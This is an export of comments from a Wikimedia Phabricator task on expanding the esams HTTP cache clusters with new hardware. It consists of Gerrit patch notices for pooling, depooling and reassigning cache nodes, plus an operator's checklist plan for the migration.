+[[https://gerrit.wikimedia.org/r/203238]]",,,1428617922,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441519,Expand HTTP frontend clusters with new hardware,"Change 203238 had a related patch set uploaded (by BBlack):
+T86663 5.1: pool 3037; depool 3004,amssq5[34]
+
+[[https://gerrit.wikimedia.org/r/203238]]
+",,,1428617889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441516,Expand HTTP frontend clusters with new hardware,"Change 203235 merged by BBlack:
+T86663 5.1: repool cp3003
+
+[[https://gerrit.wikimedia.org/r/203235]]",,,1428617633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441514,Expand HTTP frontend clusters with new hardware,"Change 203235 had a related patch set uploaded (by BBlack):
+T86663 5.1: repool cp3003
+
+[[https://gerrit.wikimedia.org/r/203235]]
+",,,1428617616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441507,Expand HTTP frontend clusters with new hardware,"Change 203233 merged by BBlack:
+T86663 5.1: switch cp3003 role
+
+[[https://gerrit.wikimedia.org/r/203233]]",,,1428617265,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441503,Expand HTTP frontend clusters with new hardware,"Change 203233 had a related patch set uploaded (by BBlack):
+T86663 5.1: switch cp3003 role
+
+[[https://gerrit.wikimedia.org/r/203233]]
+",,,1428617076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441499,Expand HTTP frontend clusters with new hardware,"Change 203231 merged by BBlack:
+T86663 5.1: pool 3036; depool 3003,amssq5[12]
+
+[[https://gerrit.wikimedia.org/r/203231]]",,,1428616505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441498,Expand HTTP frontend clusters with new hardware,"Change 203231 had a related patch set uploaded (by BBlack):
+T86663 5.1: pool 3036; depool 3003,amssq5[12]
+
+[[https://gerrit.wikimedia.org/r/203231]]
+",,,1428616468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441111,Expand HTTP frontend clusters with new hardware,"Based on the overnight esams traffic graphs up through present, the Step 4 moves last night were probably slightly more aggressive than ideal, but still within reason.  Given that the moves in Step 5 are slightly-less-impactful (no mobile), it should be possible to slot them into the same time window over two EU evenings (one set of 4 moves starting circa 20:00 UTC Apr 9th, and the final set either Fri Apr 10 or Mon Apr 13, depending how we feel on risking it just before a weekend).",,,1428590243,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+440787,Expand HTTP frontend clusters with new hardware,"Change 202973 merged by BBlack:
+T86663 4.4: repool cp301[48]
+
+[[https://gerrit.wikimedia.org/r/202973]]",,,1428541765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440786,Expand HTTP frontend clusters with new hardware,"Change 202973 had a related patch set uploaded (by BBlack):
+T86663 4.4: repool cp301[48]
+
+[[https://gerrit.wikimedia.org/r/202973]]
+",,,1428541742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440776,Expand HTTP frontend clusters with new hardware,"Change 202972 merged by BBlack:
+T86663 4.4: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202972]]",,,1428541377,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440774,Expand HTTP frontend clusters with new hardware,"Change 202972 had a related patch set uploaded (by BBlack):
+T86663 4.4: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202972]]
+",,,1428541337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440768,Expand HTTP frontend clusters with new hardware,"Change 202970 merged by BBlack:
+T86663 4.4: pool 3045; depool 3018,3014,amssq49-50
+
+[[https://gerrit.wikimedia.org/r/202970]]",,,1428540846,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440767,Expand HTTP frontend clusters with new hardware,"Change 202970 had a related patch set uploaded (by BBlack):
+T86663 4.4: pool 3045; depool 3018,3014,amssq49-50
+
+[[https://gerrit.wikimedia.org/r/202970]]
+",,,1428540808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440763,Expand HTTP frontend clusters with new hardware,"Change 202969 merged by BBlack:
+T86663 4.3: repool cp301[37]
+
+[[https://gerrit.wikimedia.org/r/202969]]",,,1428540461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440762,Expand HTTP frontend clusters with new hardware,"Change 202969 had a related patch set uploaded (by BBlack):
+T86663 4.3: repool cp301[37]
+
+[[https://gerrit.wikimedia.org/r/202969]]
+",,,1428540436,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440752,Expand HTTP frontend clusters with new hardware,"Change 202967 merged by BBlack:
+T86663 4.3: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202967]]",,,1428539914,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440751,Expand HTTP frontend clusters with new hardware,"Change 202967 had a related patch set uploaded (by BBlack):
+T86663 4.3: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202967]]
+",,,1428539842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440739,Expand HTTP frontend clusters with new hardware,"Change 202964 merged by BBlack:
+T86663 4.3: pool 3044; depool 3017,3013,amssq4[78]
+
+[[https://gerrit.wikimedia.org/r/202964]]",,,1428539278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440736,Expand HTTP frontend clusters with new hardware,"Change 202964 had a related patch set uploaded (by BBlack):
+T86663 4.3: pool 3044; depool 3017,3013,amssq4[78]
+
+[[https://gerrit.wikimedia.org/r/202964]]
+",,,1428539223,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440720,Expand HTTP frontend clusters with new hardware,"Change 202962 merged by BBlack:
+T86663 4.2: repool cp301[26]
+
+[[https://gerrit.wikimedia.org/r/202962]]",,,1428537889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440719,Expand HTTP frontend clusters with new hardware,"Change 202962 had a related patch set uploaded (by BBlack):
+T86663 4.2: repool cp301[26]
+
+[[https://gerrit.wikimedia.org/r/202962]]
+",,,1428537857,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440716,Expand HTTP frontend clusters with new hardware,"Change 202961 merged by BBlack:
+T86663 4.2: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202961]]",,,1428537304,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440714,Expand HTTP frontend clusters with new hardware,"Change 202961 had a related patch set uploaded (by BBlack):
+T86663 4.2: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202961]]
+",,,1428537236,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440705,Expand HTTP frontend clusters with new hardware,"Change 202959 merged by BBlack:
+T86663 4.2: pool 3035; depool 3016,3012,amssq4[56]
+
+[[https://gerrit.wikimedia.org/r/202959]]",,,1428536740,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440704,Expand HTTP frontend clusters with new hardware,"Change 202959 had a related patch set uploaded (by BBlack):
+T86663 4.2: pool 3035; depool 3016,3012,amssq4[56]
+
+[[https://gerrit.wikimedia.org/r/202959]]
+",,,1428536705,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440698,Expand HTTP frontend clusters with new hardware,"Change 202957 merged by BBlack:
+T86663 4.1: repool cp3015
+
+[[https://gerrit.wikimedia.org/r/202957]]",,,1428536440,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440697,Expand HTTP frontend clusters with new hardware,"Change 202957 had a related patch set uploaded (by BBlack):
+T86663 4.1: repool cp3015
+
+[[https://gerrit.wikimedia.org/r/202957]]
+",,,1428536426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440688,Expand HTTP frontend clusters with new hardware,"Change 202952 merged by BBlack:
+T86663 4.1: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202952]]",,,1428535336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440687,Expand HTTP frontend clusters with new hardware,"Change 202952 had a related patch set uploaded (by BBlack):
+T86663 4.1: shuffle roles, no repool yet
+
+[[https://gerrit.wikimedia.org/r/202952]]
+",,,1428535322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440672,Expand HTTP frontend clusters with new hardware,"Change 202947 merged by BBlack:
+T86663 4.1: pool cp3034; depool cp3015,amssq4[34]
+
+[[https://gerrit.wikimedia.org/r/202947]]",,,1428534355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440670,Expand HTTP frontend clusters with new hardware,"Change 202947 had a related patch set uploaded (by BBlack):
+T86663 4.1: pool cp3034; depool cp3015,amssq4[34]
+
+[[https://gerrit.wikimedia.org/r/202947]]
+",,,1428534308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440118,Expand HTTP frontend clusters with new hardware,Steps 1-3 above are complete.,,,1428468206,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+438004,Expand HTTP frontend clusters with new hardware,https://gerrit.wikimedia.org/r/#/c/201714 <- proposal for backend weighting,,,1428072754,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+441820,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step):
+   1. [X] cp3036 -> cp3003 -> amssq5[12]
+   2. [X] cp3037 -> cp3004 -> amssq5[34]
+   3. [X] cp3038 -> cp3005 -> amssq55
+   4. [ ] cp3039 -> cp3006 -> amssq56
+   5. [X] cp3046 -> cp3007 -> amssq59,60
+   6. [X] cp3047 -> cp3008 -> amssq6[12]
+   7. [ ] cp3048 -> cp3009 -> amssq57
+   8. [ ] cp3049 -> cp3010 -> amssq58
+
+For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428673352,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,1,1,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+441640,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):
+
+(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)
+
+1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
+
+2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).
+
+3. [X] cp303[23] + cp304[23] -> add to upload cluster
+
+4. [X] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
+  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
+  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
+  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
+  4. [X] cp3045 -> cp3018* -> cp3014* -> amssq49,50
+  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
+5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step):
